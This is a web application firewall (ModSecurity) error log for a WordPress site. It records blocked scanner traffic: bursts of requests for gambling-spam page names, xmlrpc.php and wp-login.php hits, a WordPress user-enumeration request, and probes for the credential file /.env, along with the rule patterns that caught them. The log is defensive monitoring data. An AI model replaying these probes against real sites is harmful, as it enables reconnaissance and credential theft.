[Sun May 24 08:55:36.368294 2026] [:error] [pid 58797:tid 58818] [client 81.167.26.57:19721] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "ahJMiPzoIKLVypLB5NhMawAAAVI"]
[Sun May 24 08:55:38.355870 2026] [:error] [pid 58797:tid 58800] [client 81.167.26.57:44608] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "ahJMivzoIKLVypLB5NhMcQAAAUA"]
[Sun May 24 08:55:40.346951 2026] [:error] [pid 58797:tid 58810] [client 81.167.26.57:2407] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ahJMjPzoIKLVypLB5NhMdgAAAUo"]
[Sun May 24 08:55:42.195967 2026] [:error] [pid 58521:tid 58534] [client 81.167.26.57:47697] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ahJMjmu03QVCX-cF2G_0AwAAAQs"]
[Sun May 24 08:55:44.188587 2026] [:error] [pid 58797:tid 58814] [client 81.167.26.57:21146] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ahJMkPzoIKLVypLB5NhMfgAAAU4"]
[Sun May 24 08:55:46.200505 2026] [:error] [pid 50873:tid 50955] [client 81.167.26.57:14492] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ahJMkulYxsqwDcWZbhLjJQAAAI8"]
[Sun May 24 08:55:48.218862 2026] [:error] [pid 58918:tid 58937] [client 81.167.26.57:28526] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "ahJMlKT5tvv40jh4HYZEgwAAAZE"]
[Sun May 24 08:55:50.210963 2026] [:error] [pid 58918:tid 58939] [client 81.167.26.57:20207] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "ahJMlqT5tvv40jh4HYZEiAAAAZM"]
[Sun May 24 08:56:33.261806 2026] [:error] [pid 58797:tid 58802] [client 81.167.26.57:58381] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "ahJMwfzoIKLVypLB5NhM5wAAAUI"]
[Sun May 24 08:56:35.252500 2026] [:error] [pid 58918:tid 58921] [client 81.167.26.57:39593] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "ahJMw6T5tvv40jh4HYZE5gAAAYE"]
[Sun May 24 08:56:37.253532 2026] [:error] [pid 58918:tid 58937] [client 81.167.26.57:41835] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ahJMxaT5tvv40jh4HYZE7QAAAZE"]
[Sun May 24 08:56:39.232393 2026] [:error] [pid 58521:tid 58532] [client 81.167.26.57:40631] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ahJMx2u03QVCX-cF2G_0LAAAAQk"]
[Sun May 24 08:56:41.218226 2026] [:error] [pid 58521:tid 58525] [client 81.167.26.57:49118] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ahJMyWu03QVCX-cF2G_0LQAAAQI"]
[Sun May 24 08:56:44.264191 2026] [:error] [pid 58521:tid 58544] [client 81.167.26.57:24914] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ahJMzGu03QVCX-cF2G_0MAAAARU"]
[Sun May 24 08:56:46.329388 2026] [:error] [pid 58521:tid 58537] [client 81.167.26.57:19527] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ahJMzmu03QVCX-cF2G_0MQAAAQ4"]
[Sun May 24 08:56:48.315839 2026] [:error] [pid 50872:tid 50934] [client 81.167.26.57:58272] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ahJM0EbX_GQ5p_34ISZrmQAAAFU"]
[Sun May 24 08:56:50.335833 2026] [:error] [pid 50872:tid 50928] [client 81.167.26.57:38879] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ahJM0kbX_GQ5p_34ISZrmgAAAE8"]
[Sun May 24 08:56:52.326932 2026] [:error] [pid 58521:tid 58540] [client 81.167.26.57:50177] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ahJM1Gu03QVCX-cF2G_0OQAAARE"]
[Sun May 24 08:56:54.328154 2026] [:error] [pid 58918:tid 58929] [client 81.167.26.57:43758] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ahJM1qT5tvv40jh4HYZFAAAAAYk"]
[Sun May 24 08:56:56.316422 2026] [:error] [pid 58797:tid 58816] [client 81.167.26.57:39308] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "ahJM2PzoIKLVypLB5NhNEwAAAVA"]
[Sun May 24 08:56:58.333703 2026] [:error] [pid 58797:tid 58801] [client 81.167.26.57:46367] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "ahJM2vzoIKLVypLB5NhNGgAAAUE"]
[Sun May 24 08:57:01.475283 2026] [:error] [pid 58918:tid 58931] [client 81.167.26.57:52222] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "ahJM3aT5tvv40jh4HYZFBwAAAYs"]
[Sun May 24 08:57:03.383870 2026] [:error] [pid 58918:tid 58937] [client 81.167.26.57:22733] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ahJM36T5tvv40jh4HYZFCgAAAZE"]
[Sun May 24 08:57:05.400339 2026] [:error] [pid 58918:tid 58924] [client 81.167.26.57:29127] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "ahJM4aT5tvv40jh4HYZFDwAAAYQ"]
[Sun May 24 08:57:07.392643 2026] [:error] [pid 58797:tid 58818] [client 81.167.26.57:27217] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "ahJM4_zoIKLVypLB5NhNMQAAAVI"]
[Sun May 24 08:57:09.386688 2026] [:error] [pid 50872:tid 50919] [client 81.167.26.57:40138] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "ahJM5UbX_GQ5p_34ISZrqgAAAEY"]
[Sun May 24 08:57:11.374825 2026] [:error] [pid 58797:tid 58803] [client 81.167.26.57:26870] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "ahJM5_zoIKLVypLB5NhNNQAAAUM"]
[Sun May 24 08:57:13.221651 2026] [:error] [pid 58918:tid 58923] [client 81.167.26.57:5962] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ahJM6aT5tvv40jh4HYZFFAAAAYM"]
[Sun May 24 08:57:15.233845 2026] [:error] [pid 50872:tid 50932] [client 81.167.26.57:56291] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "ahJM60bX_GQ5p_34ISZrtQAAAFM"]
[Sun May 24 08:57:17.278304 2026] [:error] [pid 58797:tid 58802] [client 81.167.26.57:52362] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "ahJM7fzoIKLVypLB5NhNOgAAAUI"]
[Sun May 24 08:57:19.273141 2026] [:error] [pid 50872:tid 50934] [client 81.167.26.57:28726] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ahJM70bX_GQ5p_34ISZrugAAAFU"]
[Sun May 24 08:57:21.157152 2026] [:error] [pid 50872:tid 50916] [client 81.167.26.57:58927] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ahJM8UbX_GQ5p_34ISZrwAAAAEM"]
[Sun May 24 08:57:23.174250 2026] [:error] [pid 58797:tid 58801] [client 81.167.26.57:33593] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ahJM8_zoIKLVypLB5NhNPgAAAUE"]
[Sun May 24 08:57:25.127267 2026] [:error] [pid 58797:tid 58818] [client 81.167.26.57:46986] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "ahJM9fzoIKLVypLB5NhNQwAAAVI"]
[Sun May 24 08:57:27.150785 2026] [:error] [pid 58797:tid 58800] [client 81.167.26.57:44479] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "ahJM9_zoIKLVypLB5NhNSAAAAUA"]
[Sun May 24 09:00:42.445122 2026] [:error] [pid 58918:tid 58923] [client 103.93.219.246:46132] [client 103.93.219.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.93.219.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahJNuqT5tvv40jh4HYZGgwAAAYM"]
[Sun May 24 09:09:04.117628 2026] [:error] [pid 49775:tid 49794] [client 103.93.219.246:42803] [client 103.93.219.246] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ahJPsIvZb8G6T8WpI1gCVAAAABE"]
[Sun May 24 09:09:38.837870 2026] [:error] [pid 49689:tid 49724] [client 103.93.219.246:43313] [client 103.93.219.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.93.219.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahJP0gaxiY3NxLUD97UKFAAAAIY"]
[Sun May 24 09:10:08.589088 2026] [:error] [pid 49744:tid 49762] [client 103.93.219.246:43792] [client 103.93.219.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.93.219.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahJP8DsE5kPdFpUbbHFVoQAAANA"]
[Sun May 24 09:10:40.682945 2026] [:error] [pid 49689:tid 49740] [client 103.93.219.246:44226] [client 103.93.219.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.93.219.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahJQEAaxiY3NxLUD97UKYQAAAJY"]
[Sun May 24 09:11:11.958109 2026] [:error] [pid 49775:tid 49785] [client 103.93.219.246:44665] [client 103.93.219.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.93.219.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahJQL4vZb8G6T8WpI1gDDgAAAAg"]
[Sun May 24 09:40:38.250034 2026] [:error] [pid 49689:tid 49731] [client 167.172.253.192:12310] [client 167.172.253.192] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "ahJXFgaxiY3NxLUD97UVdQAAAI0"]
[Sun May 24 09:40:38.665860 2026] [:error] [pid 49775:tid 49800] [client 167.172.253.192:59958] [client 167.172.253.192] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "ahJXFovZb8G6T8WpI1gVxgAAABc"]
[Sun May 24 09:43:13.177453 2026] [:error] [pid 49775:tid 49801] [client 129.226.210.142:40826] [client 129.226.210.142] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahJXsYvZb8G6T8WpI1gXNgAAABg"]
[Sun May 24 10:34:55.403779 2026] [:error] [pid 49775:tid 49781] [client 43.140.247.223:33350] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahJjz4vZb8G6T8WpI1gwvwAAAAQ"]
[Sun May 24 10:57:58.199738 2026] [:error] [pid 2639:tid 2642] [client 124.156.225.181:41448] [client 124.156.225.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahJpNkzQncQTd0Z0Oe_1sgAAAQE"]
[Sun May 24 12:27:05.730871 2026] [:error] [pid 23497:tid 23501] [client 162.241.63.63:33908] [client 162.241.63.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.63.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahJ-GSPlV47QcYwd2v91QgAAAUE"]
[Sun May 24 12:27:07.389063 2026] [:error] [pid 23497:tid 23516] [client 162.241.63.63:33908] [client 162.241.63.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.63.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahJ-GyPlV47QcYwd2v91QwAAAVA"], referer: https://gigfragments.org/wp-login.php
[Sun May 24 13:09:46.659440 2026] [:error] [pid 23497:tid 23523] [client 103.141.93.19:61472] [client 103.141.93.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.141.93.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahKIGiPlV47QcYwd2v-GHAAAAVc"]
[Sun May 24 13:09:57.060959 2026] [:error] [pid 2639:tid 2650] [client 103.141.93.19:62011] [client 103.141.93.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.141.93.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahKIJUzQncQTd0Z0Oe8kHAAAAQk"]
[Sun May 24 13:10:07.878181 2026] [:error] [pid 23497:tid 23506] [client 103.141.93.19:62481] [client 103.141.93.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.141.93.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahKILyPlV47QcYwd2v-GMwAAAUY"]
[Sun May 24 13:10:18.657523 2026] [:error] [pid 49744:tid 49746] [client 103.141.93.19:62905] [client 103.141.93.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.141.93.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahKIOjsE5kPdFpUbbHGcjAAAAMA"]
[Sun May 24 13:10:29.337465 2026] [:error] [pid 2639:tid 2660] [client 103.141.93.19:63329] [client 103.141.93.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.141.93.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahKIRUzQncQTd0Z0Oe8kPQAAARM"]
[Sun May 24 13:17:02.824740 2026] [:error] [pid 23497:tid 23512] [client 103.152.79.199:42046] [client 103.152.79.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.152.79.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahKJziPlV47QcYwd2v-JmgAAAUw"]
[Sun May 24 13:17:04.921284 2026] [:error] [pid 23497:tid 23511] [client 103.152.79.199:42046] [client 103.152.79.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.152.79.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahKJ0CPlV47QcYwd2v-JowAAAUs"], referer: https://gigfragments.org/wp-login.php
